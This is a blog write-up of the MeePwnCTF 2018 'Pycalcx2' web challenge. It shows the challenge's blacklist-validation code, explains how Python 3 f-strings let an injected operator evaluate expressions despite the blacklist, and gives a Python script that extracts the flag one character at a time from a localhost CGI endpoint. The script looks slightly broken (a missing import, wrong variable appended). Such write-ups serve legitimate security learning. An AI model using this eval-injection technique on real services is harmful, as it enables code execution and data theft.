MeePwnCTF 2018 Qual Web Pycalcx2 Write-up

Introduction

This post is also based on the write-up given by p4[1]

Vulnerability Analysis

The only difference between this challenge and the previous one is that op will also be checked against the blacklist used in get_value

def get_value(val):
    val = str(val)[:64]
    if str(val).isdigit(): return int(val)
    blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
    if val == '' or [c for c in blacklist if c in val] != []:
        print('<center>Invalid value</center>')
        sys.exit(0)
    return val
 
def get_op(val):
    val = str(val)[:2]
    list_ops = ['+','-','/','*','=','!']
    if val == '' or val[0] not in list_ops:
        print('<center>Invalid op</center>')
        sys.exit(0)
    return val

op = get_op(get_value(arguments['op'].value))

Actually the difference here should be a hint to solve Pycalcx. This time there should not be quote symbol in op.
According to [1], there is a new feature in python3 [2]. The modifer ‘f’ in the form f'{expr}’ will eval the expr. A simple script could be used to verify this feature.

$ cat test.py 
flag = "DANGOKYO{What?}"
print(f'{flag}');

$ python3 test.py 
DANGOKYO{What?}

Still similar to the techniques used in boolean-based SQL injection, this challenge uses the following combination of get the flag.

arg1 = "T"
op = "+f";
arg2 = ru{FLAG > source or 14:x}
repr(arg1)+repr(op)+repr(arg2) = 'T''+f''ru{FLAG > source or 14:x}'

Another trick used here is how to display ‘e’ in the evaluation result. Since quote and double-quote are both in the blacklist, [1] gives a solution to use 14:x to display ‘e’.

Exploit

import re
import urllib
import requests

def exploit():
    flag = "M"
    while True:
        prev = 0
        for i in range(0, 0x7f):
            c = chr(i)
            if c in string.printable:
                #print('testing', c)
                arg1 = "T";
                op = "+f";
                arg2 = "ru{FLAG > source or 14:x}"
                print((repr(arg1) + repr(op) + repr(arg2)));
                result = requests.get("http://localhost/cgi-bin/server2.py?source=%s&value1=%s&op=%s&value2=%s" % (flag + c, 
                    urllib.quote(arg1), urllib.quote(op), urllib.quote(arg2))).text
                #print(result);
                if ">>>>" in result:
                    res = re.findall(">>>>.*", result, re.DOTALL)[0]
                    if "True" in res:
                        flag += prev
                        print(flag)
                        break
                    else:
                        prev = c


exploit()

Conclusion

Since this is a new feature in python3, I have to use the following command to change python2 to python3.

update-alternatives --config python

Reference

[1] https://github.com/p4-team/ctf/tree/master/2018-07-13-meepwn-ctf/web_pycalcx#pycalcx2-54-solved-100p
[2] https://www.python.org/dev/peps/pep-0498/

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.